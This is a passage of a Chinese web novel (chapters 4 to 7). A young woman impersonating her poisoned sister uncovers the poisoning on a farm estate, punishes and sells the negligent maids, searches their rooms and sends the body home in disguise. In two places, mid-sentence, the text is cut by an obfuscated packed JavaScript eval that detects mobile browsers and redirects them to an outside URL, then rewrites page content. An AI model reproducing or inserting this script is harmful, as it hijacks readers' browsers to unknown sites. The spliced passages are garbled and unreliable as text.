“都是些素日常见得着的东西,糙米粥,一点咸肉,一个炒豌豆,并一碟青菜……再无别的了。”小荷虽小,却记得十分清楚。 “走,我们去看看。”关怀素问完,心中有数,对身边的柳叶说,“你在屋里等我!” 柳叶心中不愿意,但也只能答应。 关怀素带着小荷,深呼吸一口气,从卧室里走了出去。 第四章 审死 吃饭的地方是前厅,小荷带着关怀素走了一段路才到,一进屋便看到桌上的朝食残羹竟还没撤走,可见这院子里伺候的丫头惫懒到了何等地步。 “哎呀!姑娘你起来了!今儿姑娘一早就喊肚子痛,我和碧桃忙得乱糟糟的,这里都还没来得及收拾!没想到小荷居然连这都忘了!”关怀素正在观察,门外传来拿腔作调的声音。 一个戴着碧玉簪子的丫鬟进门,小荷看了看关怀素,主动喊了一句:“兰花姐姐。” 兰花并不把小荷的招呼放在眼里,进门就怒斥小荷:“还不去收拾了,一天天地懒得要死!” “等等!”关怀素冷声阻止。 而后关怀素上前,走到桌边细看,发现都是家常小菜,看着很正常,她伸手拔掉发簪间的珠花,拿珠花底部的银簪往菜里放。 “姑娘,您这是在做什么?!”兰花看得莫名其妙,但是接下来,她看着大姑娘一道道菜地用银簪试探。 兰花讥笑起来:“姑娘你这是在做什么,难道有人胆子这么大,敢对姑娘下毒……这、这银簪怎么变黑了?!” 说到一半,兰花惊叫出声。 “有人下毒。”关怀素直起身,叫小荷,“快去叫庄子里的管事来,还有,吩咐下去,立刻将厨房所有人拘起来!” 小荷立刻点头,转身就疯狂往外头跑出去。 关怀素则缓慢地坐下来,冷冷地看着还在发呆的兰花。 兰花冷汗“唰”地一下下来了。 她突然意识到了,今儿朝食是她提回来的,大姑娘**,她却一上午不见人影,这连在一起,都可以说她是谋害主子了! 但是兰花并不想认罪,她立刻说:“姑娘,这一定是厨房的人干的!” 关怀素冷眼看着她,这丫鬟样貌很好,且看打扮穿着,一看就不是省油的灯,性子骄横只怕不在碧桃之下。 连主子饭菜有毒,都还死撑着不肯下跪请罪,可以看出她性子被养得骄纵到了何等地步。 “兰花,下毒的事情先不说。”关怀素看着她,轻声问,“我只问你,早上我喊肚子疼,碧桃去了两个时辰,好歹请了个郎中回来。你呢?你一大上午都不见人影,在做什么?” 兰花登时浑身起了冷汗,她愣在原地,支支吾吾,竟一时没想到如何替自己狡辩。 顿了好一会儿,兰花才勉强说:“我、我身子不好,姑娘素来说让我难受别撑着,我就、我就休息了一会子……” 很好,到了这个时候,还用姐姐自己的话压姐姐。 倒像是她如今计较,以往的好就是假装了。 关怀素心中愈发痛惜姐姐的温柔和体恤给错了人,心中对兰花的恨意也愈发深刻。 她冷笑一声,说:“照你这么说,今儿我若是****,你也只管休息着,否则便是我说话不作数了?” “我、我不是这个意思!”兰花立刻说,“只是姑娘体恤……” “是,我看我就是平素太体恤你们了,竟让你们骑在我脑袋上拉屎!”关怀素怒声说,“主子**腹痛,你在房里躺着休息,我只问你,这家里你是主子还是我是?” 兰花咬牙,不明白一贯口拙的大姑娘为何突然如此不好打发,但是她也知道这次真的是出了天大的事情,心中再不愿意,也终于“咚”的一声跪在地上,马上假装哭泣,大喊起来:“兰花不敢!只是早上实在是难受起不来……” “你既然起不来,日后都不用起了。”关怀素冷冷地看着兰花,说,“我送你去那不需要起来的地方过日子吧。” 这话吓得兰花终于怕了,连忙跪在地上,连珠炮弹地说:“姑娘!姑娘我不是故意的!是碧桃,一定是碧桃给您下毒!” 兰花说到这里,目露精光,到了要命的时候,兰花也不管别的,只要随便找个办法,叫姑娘的火气落到别人身上就是。 兰花大声说:“碧桃她原是大娘子院子里的,她家里老娘还在大娘子院子里当差呢!来庄子上之前,我还亲眼看到碧桃与大娘子身边的大丫鬟扶芳来往!扶芳还给了碧桃一个油纸包,现在想来,那定然就是谋害姑娘的**!” “你放屁!”还没等关怀素开口,门口就传来了碧桃愤怒的尖叫声,紧接着碧桃冲进来撕打兰花,“我撕烂你这个**的嘴!在背后编排起老娘的不是来!什么油纸包,什么**,走的时候老夫人身边的陈妈妈不是也给了你东西,怎么不是你?!” 兰花和碧桃互相厮打,小荷带着下人进来,二三十来人乌压压地站在院子里,居然没一个人过来请示要解决这件事情。 所有人都冷眼看着关怀素,虽没有出声嘲笑,但是关怀素清楚明白,这些下人完全没把她这个主子当回事儿。 关怀素神色微微一冷,她也不出去,就坐在屋子里头看外面来的人。 看了一圈,关怀素想着祖父手书里经营八仙庄的起居记录,最终只把眼睛放在了一个下巴上有颗黑痣的婆子身上。 “你可是丁喜福?”关怀素突然对着廊下开口,把那发呆的婆子惊了一下。 她愣愣地站在原地,诧异到抬头看了一眼关怀素,显然不理解为什么关怀素会认识她。 “丁喜福,你乃是丁二的亲闺女对吧?”关怀素看丁婆子震惊地点头,冷笑一声,说,“当初你父亲丁二不过庄子上一个看果林的杂役小厮,一月工钱两百钱,是我祖父看着他性情中直,才亲自教他酿酒,后来提拔他管八仙庄所有酿酒事宜,成了一个月两贯钱的管家……丁婆子!若不是你爹丁二给你酿酒手艺,你可能在庄子上当上这个管事婆子?!” 丁婆子一愣,顿时脸上露出尴尬之色。 这陈年往事,丁婆子自然知道,但是她竟然不知道,这看着每天沉默不语的大姑娘居然心里清清楚楚。 “吴阿二的后人在哪儿?!”不等丁婆子回答,关怀素又冷声对着院子里喝问。 “见过姑娘。”人群里走出来一个穿着管事服的中年男人,上前踟蹰地对着关怀素行礼。 “吴阿二原是粗使杂役,卖的死契,是我祖父看他有天赋,不忍他子孙世代为奴,亲自放了他的身契,教导他修渠灌溉之法,虽未曾收他为弟子,但是情分亦是弟子!怎么,你继承你父亲的手艺,在这庄子上继续当着管事,却如今连师祖后人受人谋害都袖手旁观?!” “关河后人何在?!” “赵三在哪儿?!” …… 短短几息之间,关怀素居然唤出来十几个人,如今还居然都是有头有脸的人物。 “你们想清楚了,当日你们都是靠着我祖父授业提拔才得了今日的好日子,这庄子是皇庄,不能转赠与人,也就是说,这庄子与李家无干,而是我关家的产业,日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183280|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后我便是嫁人,八仙庄也是要跟着我的!”关怀素最后一拍桌子,怒声呵斥,“要是都不知道谁是主子的,便都趁早滚蛋!” 关怀素呵斥完,院落里当即跪倒一片。 尤其是那十几个得到传道授业的后人,心中都冷汗津津——以前都当大姑娘不知道,原来居然大家伙儿的底细都清清楚楚,如今还这么直白地说了出来! 背主可不是什么好名头,尤其得了主家各种授业还看着主家后人受辱,今日之事真要传出去,他们真被赶出去了,只怕也没有人会收留他们。 想到这里,立刻有反应快的人瞬间做出了决断。 “大姑娘说的是!”丁婆子也是果决的人,她干脆伏在地上,重重地连磕三下头,额头上泌出血来,她却尤觉得不够,连着又扇了几巴掌,说:“是我老婆子猪油糊了心!大姑娘要做啥,只管吩咐,我丁婆子若是再打一个马虎眼,现在立刻一头撞死去,免得地下无颜见我爹!” 好,难得这么多刁钻下人里面,还有一个脑子清楚的。 关怀素心中也担心这帮人里头都是蠢货,看不清形势,她就难办了。 这会子看到有聪明人站出来,立刻点头当机立断地说:“好!现在开始,你就是管事妈妈,将地上这两人撕开!” “是!”丁婆子心中又惊又喜,万万没想到竟能个肥差,当即利索地站起来,对着人群就大喊:“老大老二家的,还不快过来把人拉开!” 院子里立刻便有两个粗壮妇人挤上前来,立刻把碧桃和兰花撕扯开来。 “厨房里是谁在管事儿,这庄子上负责的又是哪个?我今儿非得把这些人都审清楚,看看到底是哪里的牛鬼蛇神,居然谋害主人家!”关怀素又问。 她声音很沉,没有故意大吼,但是大家都被丁婆子突然得了活计给弄得心里燥热,十分安静,因此里外都听得清清楚楚。 不得不说,聪明人也不少,当即就有个中年人跪地出来磕头,大声说:“大姑娘,小人陈渠,这几日白大管事去城里回话了,但是小的一直跟在白大管事身边,知晓些手段!” “好!”关怀素点头,沉声说,“一个时辰,我要知道这**是怎么回事!” 不等陈渠说话,关怀素又丢下一句:“陈渠,办好此事,这庄子就给你全权代管!” 陈渠一听,眼睛发亮,立刻磕头,大喊:“陈渠绝对不让姑娘失望!” 说完站起来使了个眼色,立刻站起来七八个身强体壮的小厮,马上要抓经手了朝食的所有人。 “姑娘!你答应过大少爷要照顾我的!”兰花也是经手朝食的人,小厮自然也来拿她,她吓得脸色惨白地大叫出声。 这话喊得暧昧,十分惹人遐想,一时之间让抓人的小厮都愣住了,不敢下手。 “拖下去!”关怀素声音更冷,叮嘱陈渠,“竟然攀咬主子,去,把人塞了嘴捆着,先打到不敢胡言乱语为止!” 陈渠得了她的话,立刻叫人拖着两人下去。 外面哭喊求饶之声响起,关怀素面沉如水地安静等待。 一个时辰不到,陈渠似乎已经有了结论。 “大姑娘,审完了。”陈渠带着人拖着几个人跪在门外廊下,然后躬身回话,“是这几人所为。” 关怀素闻声看过去,待看清楚门外跪着的那三人,顿时眉头一皱。 第五章 真相 院子里跪着的三个人,看打扮,一个是厨娘,一个管事婆子,并一个帮厨。 “今日早上大姑娘的膳食,是这三人一起做的。”陈渠匆匆从院子外进来,又让下人拿了一筐子青菜来,关怀素一看,里面似乎是半筐子新鲜蒌蒿。 “大姑娘,您看。”陈渠从那篓子蒌蒿里翻找了一下,找出来非常小一根青菜来,然后他走到关怀素面前停下。 关怀素一看,惊得脱口而出:“断肠草?!” 而后她立刻说:“不可能!菜都是庄子上送来的,会择干净,怎会夹杂断肠草?何况就算有,厨房众人难道都不认识?!” “大姑娘明鉴,这断肠草,我们也多年未见了。”陈渠立刻对关怀素解释。 却原来,早年关怀远管理八仙庄的时候,因总有小儿牲畜误食断肠草,便每年定期叫庄子上的人去挖了毁掉,因此八仙庄已经许多年未曾见过此物。 因此若是庄子上送来的菜,是绝不可能出纰漏的。 可前几日却有人挑担卖野蒌蒿。 野蒌蒿香气更浓,且更加软嫩多汁,按厨娘招供,她也是想在大姑娘面前露一手,却没想到帮厨的那粗使丫鬟年纪小,加上一直都是接触庄子里送来的净菜,遇到野菜居然也没想到认真挑拣,也不认识断肠草,竟然就随随便便清洗一下,直接把菜送到案台前,才造成了早间的菜有毒的事情。 “多亏大姑娘吉人天相,才没真的出了大事。”陈渠禀告完,也是一身的冷汗,他也没想到庄子上管理居然乱成了如此地步,进主子嘴里的东西居然也能出这种要命的纰漏。 院子里厨下三人都吓得脸色惨白,呜呜嚎哭,关怀素走出去,看着她们问:“你们可知,谋害主家是死罪。” 陈渠一个眼色,旁边小厮立刻把三人嘴里塞着的布扯出来,胖管事婆子马上杀猪一样嚎哭:“大姑娘明察,这完全是这两人做事马虎,不关我的事儿啊!” “大姑娘,呜呜呜我不认识断肠草,我也是第一次听说世上有这种毒物,婢子绝不敢谋害主家呀!”丫鬟也嚎啕大哭。 那厨娘也哭,脸色惨白,满脸都疼的是汗珠,可见陈渠拷打之时绝对没留手。 关怀素冷声问:“陈渠,那卖野菜的来自哪里可知道?” “不是附近熟悉人家。”陈渠连忙躬身回答,“自称是附近庄子上的人,但是我找庄子上的下人问了一下,那边没有姓黄的人家。” “荒唐!不明来路的东西也敢给主子吃?!”关怀素一听,登时大怒,指着管事婆子说,“便是采买山货,也要找熟悉人家,便是生人也要有识得的人作保,你难道不记得?!” 这素来都是门户大一些的人家自有的规矩,便是小心遇到今儿这种事情。 可这管事婆子却胆敢这么做,不用想便知道,定然是为了贪那几个铜板。 为了几个铜板,竟害了姐姐的性命。 而且……好巧啊! 偏就卖东西的人是生脸、偏就粗使丫鬟偷懒、偏厨娘也是这么粗心大意……真真是巧合到了天衣无缝的地步! “碧桃和兰花怎么说?”关怀素深呼吸,知道厨娘这条线是问不出来了,侧头问旁边的陈渠。 “禀大姑娘,朝食除了兰花,并无其他人经手。”陈渠说着,挥了挥手,下人们便把被打得半死不活的两人拖上来。 碧桃和兰花平日养尊处优,可不禁打,厨房里的厨娘婆子还有精力喊冤,但是她俩被打得奄奄一息,往关怀素面前一丢,两人匍匐在地上,疼的只一直呻吟。 陈渠说:“大姑娘腹痛时,她们二人一个在屋里贪懒睡觉,一个说是去庄子上请郎中,但是在屋里磨蹭到了晌午才出门,这是门房亲眼见到,亲自开的门。” 关怀素沉默了。 半晌,面对陈渠询问的眼神,关怀素轻声说:“厨房三人谋害主家,各打二十板子,直接找人伢子发卖出去。” “是。”陈渠回答,立刻一招手,小厮立刻上前抓厨房三人。 “姑娘饶命,大姑娘饶命啊!” 厨房是体面活计,尤其是庄子上的厨房,又不用伺候太多主子,又是油水最多的地方,这几个人养尊处优,平日过得比一般人可好多了。 如今被发卖出去,还是差点害死主子这种天大的错误,想也知道,大户人家绝对不会买他们,他们一定落不到什么好地方。 这对于她们来说,不啻于一夕之间从天上掉到地下,她们怎么能接受,当然苦苦哀求。 其中那个年轻的帮厨丫鬟还哭着在地上咚咚磕头,大哭着喊:“大姑娘饶命,婢子知道大姑娘是出名的善心人,对下人最是仁慈和蔼,哪怕是身边人犯错也从无惩罚,甚至得了稀罕东西总是赏人,自己从不留什么好东西……婢子知道大姑娘是善心人,求大姑娘饶了婢子一回吧!” 这帮厨丫鬟一哭,旁边的厨娘顿时像是回魂一样,浑身一抖,也大声哭喊起来:“是啊,大姑娘自小最是心善,阖府上下都知道,听说老太太、老爷都最夸您温和体贴下人,哪怕下人犯错,也从不责罚,今儿是我们该死,求求大姑娘给我们一条生路吧!” “是啊大姑娘,我们若是被卖走,哪里还有活路啊!”那管事婆子也嗷嗷哭喊起来,三人都边哭边磕头,一副关怀素若是不答应今天就要血溅当场的样子。 陈渠露出了棘手的神色,悄悄偷看关怀素。 “看什么?打板子还要我教你?”关怀素冷声说,“若她们愿意在这里撞死赔罪也行,虽少拿回 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往日跟着偷奸耍滑就算了,她到底是为什么猪油蒙了心,竟连主子喊腹痛都敢回屋睡觉的?明明她其实看出来了,主子这回喊疼得厉害,确实与往日完全不一样。 想到这里,碧桃终于后知后觉地都觉得自己荒唐,她吓得眼泪滚滚,连连磕头,连声说:“姑娘,碧桃知道错了,仗着姑娘体恤我们,就不知自己几斤几两,骨头轻的没边了,竟连姑娘腹痛都不放在心上,在屋里躲懒……若是知道姑娘是**,就算打死我也不敢耽误啊!” 还是在狡辩。 “陈渠,这两个一样,直接找人伢子卖了。”关怀素并不听碧桃继续说话,只对陈渠说。 “姑娘!你不能卖我!大少爷答应过我,以后要收我进房里的!”兰花听到这里,吓得狠了,顾不得其他,大吵大嚷。 她害怕是正常的,毕竟她和碧桃这种青春年少的大家丫鬟,若是发卖,到了人伢子手里,只怕就要去脏地方,那她这辈子就完了! 这样想着,兰花发出凄厉的大叫,一滚身居然爬起来就想往屋外跑,恨不得跑出去回京师找大少爷求救。 陈渠吓得一跳,还没反应过来,倒是丁婆子瞬间反应过来,大吼一声:“快,抓住她!” 她身边的媳妇子飞快冲过去,一脚踢在兰花身上,把兰花踹的跌倒在地。 陈渠立刻叫人拖走二人。 “姑娘!大姑娘,你不能卖我!”眼见兰花搬出大少爷都没用,碧桃知道今儿不能善了了,一咬牙大声喊:“大姑娘!你不能卖我,我的身契在大娘子那儿!” 此话一出,陈渠等人就愣住了,一脸震惊地回头看关怀素。 关怀素也是一愣。 第六章 抄点私财 关怀素很惊讶。 因正常人家,自小就要教导孩子学习管家与驭下,身边贴身伺候的人身契自然也是重之又重,早早地全都会交给孩子。 否则贴身下人的身契都在别人那里,生死富贵都在另一个人手上,又怎能要求下人忠诚尽心?又怎么真正让孩子在下人面前有威严? 所以关怀素完全没想过姐姐身边的大丫鬟,竟身契在别人手上。 她看着碧桃绝处逢生之后露出的喜悦,还有掩藏不住的得意,关怀素心中怒火已经到了极限——她一直奇怪,姐姐身边的丫鬟怎地敢如此对待主子? 现在知道了,却原来根子在这里。 难怪姐姐**两个时辰,竟没人请郎中,竟活活疼死。 而若是丫鬟上心,姐姐能挨两个时辰,可见服下的毒物并不多,原可能是有救的。 可就是被这两个丫鬟故意拖延,才生生失去了性命。 姐姐到底在李家过的什么日子?一个姑娘家被丢在庄子上,几个月也不见叫回去就算了,竟连贴身下人的身契都不在自个儿身上?! 关怀素在,但是碧桃和兰花却完全误会了,以为她的沉默是无能为力。 碧桃大松一口气,当场露出得意的笑,兰花挣脱了要捆她的人,甚至还嘚瑟地扶了扶鬓边那支翡翠簪子。 …… “说得对,你提醒我了。”关怀素心中怒火中烧,嘴角却露出了一个笑容。 就在这个瞬间,关怀素突然做出了一个决定。 她莞尔一笑,说:“确实,你们的身契在长辈手上,那便确实不该由我发卖。” 此话一出,陈渠等人神色全变了。 只是还没等兰花和碧桃的笑容再扬起来,关怀素就对陈渠说:“陈渠,把她们关在柴房里,等我得空了,禀告家中长辈再行处置。” “我不要去柴房!我的身契在老夫人手上,你不能关我!”兰花自以为占据优势,立刻大喊大叫并疯狂挥动四肢,不肯叫身边的小厮近身。 碧桃也怒斥:“我的身契也是在大娘子手上,不能关我!” 关怀素笑了一下,说:“好笑,你们身契是在大娘子与老夫人手上,可她们一个是我继母,一个是我嫡亲祖母,她们送你们过来,原本就是为了让你们好好服侍我,如今你们服侍的不好,弄出如此天大纰漏,就算到了她们身边,只怕她们第一个打杀你们,难道她们还会为了你们两个奴婢,苛待我这个原配嫡出的大姑娘不成?你们可是如此觉得?!” 此话一出,碧桃和兰花均是一愣,她们再怎么也不敢这么答应,否则老夫人和夫人哪怕为了证明自己没有苛待原配留下的孤女,都要第一个打杀了她们。 “走!”陈渠见她们二人哑口无言,登时精神一振,立刻叫小厮拖人。 “等一下!”关怀素喊了一声,走到兰花面前,在兰花还以为事情有转机的时候,关怀素伸手,一把将兰花头顶上的玉簪生生扯下来,扯断了好长几根头发,疼的兰花一嚎。 而后,关怀素又伸手,狠狠扯掉碧桃头上那对翡翠簪花。 “这样好的东西,是我以前赏赐的罢?”关怀素上次来就看这两人的首饰不顺眼,她摘下来一看,果然是上好的首饰,叶片是翡翠,珠花用粉色的宝石拼凑,在阳光下灿灿发光。关怀素看着首饰,说,“这些好东西,你们这种目无主子的**不配用。丁妈妈,带了人,我们一起去这两个屋子里看看。” 这话一出,碧桃和兰花顿时更加惊恐,想说什么,陈渠却早已经找准机会,嘴里一塞,给她们拖走。 关怀素把手里的东西递给身边的小荷,叫她带着一路去二人的屋子。 “大家打起精神来!大姑娘说得对,这庄子可是皇庄,日后大姑娘出门都要带着的,咱是关家的下人……”身后,陈渠精神抖擞地大喊着。 而这边,关怀素已到了兰花和碧桃的屋子。 一进门丁妈妈就脱口而出:“我滴个乖乖,这两个**胚子,竟比姑娘过得还好啊!” 丁妈妈话虽糙,但是说的是事实。 不查不知道,一查才发现,碧桃和兰花两人,床上铺的是丝被,十分厚实不说,色料看着也新。 而关怀素清楚记得,姐姐的床褥上铺的还是棉被,帐幔也是棉布。 而查到了首饰衣料等东西才发现,床褥等物并不算什么了。 “我滴先人啊……她们这是来当丫鬟还是来当正头主子了啊!”丁妈妈翻出几盒子的首饰的时候,就已经瞪大眼睛,等到翻出来大大小小六七件金银项圈与镯子、戒子的时候,丁妈妈还能骂骂咧咧。 直到翻出一张银票,打开一看五百两,丁妈妈“嗷”地一嗓子,当场没站稳吓得软倒在地。 关怀素开始看着翻出来的东西,神色并无变化,因搜查出这些东西完全符合她的推测。 主子镇不住下人,自然保不住财务。 但是一听到五百两的银票,关怀素接过来一看,还是更愤怒了——这是她上回给姐姐傍身的银票。 当时就是看出来姐姐日子不好过,才想着给姐姐拿着花用。 却没想到竟是一分钱都没用上,姐姐就走了。 “姑娘,怎么处置?”丁妈妈嗓音发抖地问。 关怀素把银票捏成一团,压低声音吩咐:“首饰、贵重的金银送去我屋里,这些衣服被褥你拿出去卖掉。得了钱不用回我,便当赏银了。” 这些东西拿去典当,至少能典出三四十贯钱,丁妈妈欢喜得不行,当场满口答应下来。 小荷把清点出来的贵重首饰等抱着,和关怀素一起回起居的内院, 进了内院门闩一关,柳叶在窗里偷偷瞧见,立刻从屋里迎出来。 见到小荷捧着许多东西,立刻接过去放屋里桌上,然后诧异地问:“姑娘,怎地带了这么多东西回来?” 说完,看到一堆东西里一个小小的银色项圈,更愣了,问:“姑娘,你幼时的项圈怎地在这里?” 关怀素闻言立刻接过去看,入目是素银圈,上头挂着祥云纹的如意平安锁。 关怀素接过项圈,按一下平安锁,“咔哒”一声,平安锁打开,里面放着一小缕黑色的头发。 细细的、软软的,用红绳系着,因年代太久,红绳已经褪色,与关怀素那**安锁里的东西一模一样。 只是这个平安锁里的头发是乌黑光亮的,而关怀素那个,则是枯黄的。 这是胎发,是关家的习俗,关家先朝祖上乃是世代匠人出身,颇通一些机关之术,因此只要家中有孩童出生,都会在得知有孕时,为孩童做一个平安锁,祈求小童平安康健长大之意。 关怀素那一个平安锁还是祖父亲手所制,形制与这个平安锁一模一样。 “这是……大姑娘的东西?”柳叶反应过来,这平安锁乃是幼童之物,最多只能戴到七八岁就必须摘下来,只能作为收藏,这东西出现在这里,只能是李婉玉的东西。 “是。”方才一直杀伐决断的关怀素眼圈瞬间就一红,眼泪关不住,一连串落出来。 她拿着那一缕胎发,哽咽地说:“你看,这是姐姐她出生时的胎发,她明明比我身体康健如此多,怎能在这个年纪就早早香消玉殒……” “姑娘,你、你别太难过了……你方才出去可是替大姑娘报仇了?”柳叶看她痛哭,心中也难受,但是她好歹还记着现在在人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183282|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地方,加上自家姑娘身份暴露就要出大事,便立刻催促关怀素:“姑娘,既然已经替大姑娘报仇,咱们便把大姑娘的尸身搬出来,然后趁着乱,快些离开吧!” “我不离开。”关怀素一句话,让柳叶愣住了。 “什么?!”当意识到关怀素说了什么之后,柳叶急得差点没一下子跳起来,急声说:“姑娘,您答应妈妈和师兄的!” “柳叶,我要留在这里。”关怀素郑重地说着,把方才出去遇到的事情全部跟柳叶说了一遍。 最后她看着柳叶,说:“你能信吗,柳叶?你能信这一串巧合,偏就姐姐运气不好才**吗?” 柳叶语塞,她当然不相信。 可是因为不信,她更着急了,压低声音说:“越是如此,姑娘就越发不能留下啊!大姑娘可是**地在自家庄子上被生生毒死!姑娘若是假借大姑娘的身份留下,身后之人见事情不成,定要对姑娘再次不利啊!” 关怀素却看了一眼手中的那小银项圈,然后拿起来对柳叶说:“柳叶,你看这个项圈。” 柳叶一愣,不明白关怀素什么意思。 “那两个丫鬟房里搜来的这些东西,价值几何,你可知道?”关怀素问柳叶。 柳叶摇头。 “这些首饰、金银,除了我给的银票,其他都是样子货,加起来不足百两。”关怀素冷声说,“我方才突然想起来,祖父的账本里曾记载,在得知娘亲有孕时,正是家里光景最好的时候,因此祖父除了送这个银项圈,一并送了一整套金器,其中八宝璎珞项圈、赤金足环与小儿金碗筷等等一应俱全。可是这里,什么都未瞧见。” 不光是这个,关怀素悲痛之中回过神来,才想起来钟妈妈在家里说过,祖父当年把所有家当八成都给了阿娘做嫁妆。 单银钱都足有三千两,还有许多昂贵头面首饰、布帛家具、古画珍玩。 除了这八成身家,祖父还陪嫁了四个庄子。 三小一大,除了皇庄本就产出丰厚,剩下三个庄子虽小些,但祖父本就善工学,经过他老人家调理,那庄子上的薄田都变成了良田,瓜果产出更是丰足,便是最小的庄子每年随随便便出息都能到三百两以上,其中还不包括进献给家中的产出。 而皇庄当时一年下来有将近七百两白银,就靠这四个庄子,京师一大家子无所事事,都能活得十分滋润。 母亲早逝,嫁妆会给长辈代为照管,但是如此丰厚的家财,哪怕是稍微要点脸的人家,姐姐也不会只得这点东西。 而且,姐姐一直居住在庄子上,就已经是非常奇怪的事情——谁家疼女儿的人家,会把孩子一个人孤零零地丢在庄子上? 且谁家姑娘会被教导得如此怯弱,竟连下人都敢说“姑娘从不自己留好东西,便是下人犯错也从不惩戒。”? 这不是在教导自家姑娘,这完全是养奴才! 这等性子,在家都能被奴才欺压,若是他日嫁人,只怕说不得死的不明不白都有可能! “我不甘心。”关怀素说到这里,对柳叶说,“姐姐被养成这样子,又被送来庄子上,还死得如此不明不白,这里头不可能没有猫腻。” 关怀素深吸一口气,压低声音说:“还有姐姐临终之前跟我说,她查到阿娘的死不对劲。我很怀疑,这里头有问题。” 阿娘过世,按本朝律例,若姐姐出嫁,阿娘的嫁妆至少要带走一半。 这是一笔非常可观的钱财,足以让人**害命了。 而若是如此,那这十几年的算计与谋害,实在是阴毒到了人神共愤的地步。 作为关家最后的血脉,阿娘和姐姐最亲近的血脉亲人,关怀素必须查清楚此事。 第七章 各方安排 柳叶知道她无法阻止姑娘,可是她依然想劝关怀素。 柳叶焦急地说:“姑娘,此行太过凶险,就算查出来,日后如何脱身啊!” “如今之计,顾不得日后了。我亦只能先入局,咱们,走一步看一步吧。”关怀素看着桌子上的那些首饰,散碎的银两,沉声说。 她说完,立刻对柳叶又说:“柳叶,此刻不是说话的时候,既然已经决意留下,我目下有件事情,你一定要替我办好。” 姑娘既然已经决定,柳叶也迅速接受现实,闻言调整心情,立刻说:“姑娘只管说!” “我要你与师兄一道,替我扶灵回乡,把姐姐葬在祖父身边。”关怀素沉声说。 她不想把姐姐葬在京师,想必姐姐在天有灵,定然也想回祖父身边承欢膝下。 “可是来去得足足两月时间,姑娘你……”柳叶当然理解姑娘的心思,但是两个月放姑娘一个人留在这里,柳叶心中不免担心。 “放心,就两个月,到时候你回来,只说你是师兄吩咐送来的家里的小丫鬟便是。”关怀素温声让柳叶放心。 两人才商议停当,门口传来匆匆脚步声,小荷的声音在门帘子外响起:“陈管事,你怎么来了?” “我才从门子那儿听说,早上咱们来了访客,说是关家来的人,孙郎君带着小厮……”陈渠汗都要下来了,他才把那边的事情安排好,想着表现一下,把庄子上的事情也梳理梳理,免得大姑娘问的时候自己抓瞎,结果就听说关家来的郎君带着小厮一个多时辰前就来了。 不问还好,一问发现,竟是哪里都没见到客人。 陈渠登时急了,立刻回来禀告。 “师兄是在我这里。”关怀素听到立刻对着外头说,“别担心,我回来才发现他俩在院子里等着呢。” 陈渠顿时大松一口气,想进屋,却看关怀素走出来说:“你来得巧,陈渠,快让人把师兄的驴车赶进来,方才师兄等我的时候喝了点茶,也不知道这茶是不是也不干净,如今师兄肚子痛的站不起来了!得赶紧去庄子上找郎中!” 陈渠一听,也顾不得其他,立刻出去安排。 关怀素返回屋内,把姐姐的尸身从床底下抱出来。 她把自己穿来换下的男装给姐姐小心地换上,又从柳叶随身包袱里拿了一点易容的泥膏,在脸上连续揉搓,用小刷子细细修整。 没一会儿,脸色青白、嘴唇发乌的姐姐就变成了一个闭着眼睛、下颚硬朗的男子模样。 恰好在此时,小荷大声喊着“车来了!”,关怀素鼻头一酸,深吸一口气压住泪水,亲手把姐姐交到了柳叶手上。 此时已经无需多言,柳叶沉声说:“姑娘你放心,我定然好好把大姑娘送回老家!” “嗯,一路小心。”关怀素到底没忍住,一串眼泪流下来,慌忙擦拭干净。 陈渠把车子停好,看到柳叶半抱着一个男子出来时愣了一下。 看着身量高挑的大姑娘,再看看被那男子抱着小小一团的男子……陈渠心中瞬间划过违和感。 但是这只是转瞬即逝的本能,很快便被担心和焦急所替代。 关怀素生怕他离得近了看出什么问题,连忙上前遮挡住陈渠的视线,看着柳叶把姐姐的尸身抱着上了驴车安顿好,才算是放下心来。 “那我就先告辞了。”柳叶拉起驾车缰绳,看了关怀素一眼,千言万语只留下两个字,“保重。” “你也是。”关怀素点头,认认真真地看着柳叶说,“万事保重。” “驾!”柳叶点头后一抬手,驴车哒哒出发,往外头去了。 关怀素望着柳叶彻底离开,深呼吸一口气,转过身,对陈渠说:“把庄子上的账本都给我拿来。” 此时远不是沉溺于悲伤之中的好时候,从现在开始,她要以最快的速度,彻底了解这个庄子。 那么她现在首要是做一件事情——必须把这个庄子上全部替换成她的心腹。 只有这样,她才能把姐姐的事情查清楚,才能找到背后谋害姐姐的真凶。 要做到这件事情的前提,是把原先的管事全部换成她关怀素提拔上来的人。 而查账,是找到原先管事马脚的最快方式。 这种庄子一般天高皇帝远的,管事儿的人手脚绝对干净不到哪里去。 “姑娘,账本都在白大管事的房里……”陈渠迟疑地说。 “叫人砸开他的房门,进去搜出来就是。”关怀素直接说,“他管家出了这么大纰漏,还想再做稳这位置么?!” 这白大管事在祖父的名册上从未出现过,姐姐在庄子上被丫鬟如此欺负,他也没站出来,想来必然不是关家人,说不得还是别人的心腹。 关怀素从一开始就没打算留下这个人。 陈渠听到关怀素这句话,心中狂喜——虽然大姑娘突然一夜之间突然性情大变,刚硬起来,但是他其实心里也是发虚。 毕竟名不正言不顺,只是个代管家,若是白大管事回来把姑娘笼络过去,他日后可就难做人了。 没想到姑娘如今竟然是桩桩件件事情都考虑到了,老辣的像是管家了十年一样,一下子就看出要接手庄子的首要问题,替他解了这个后顾之忧! 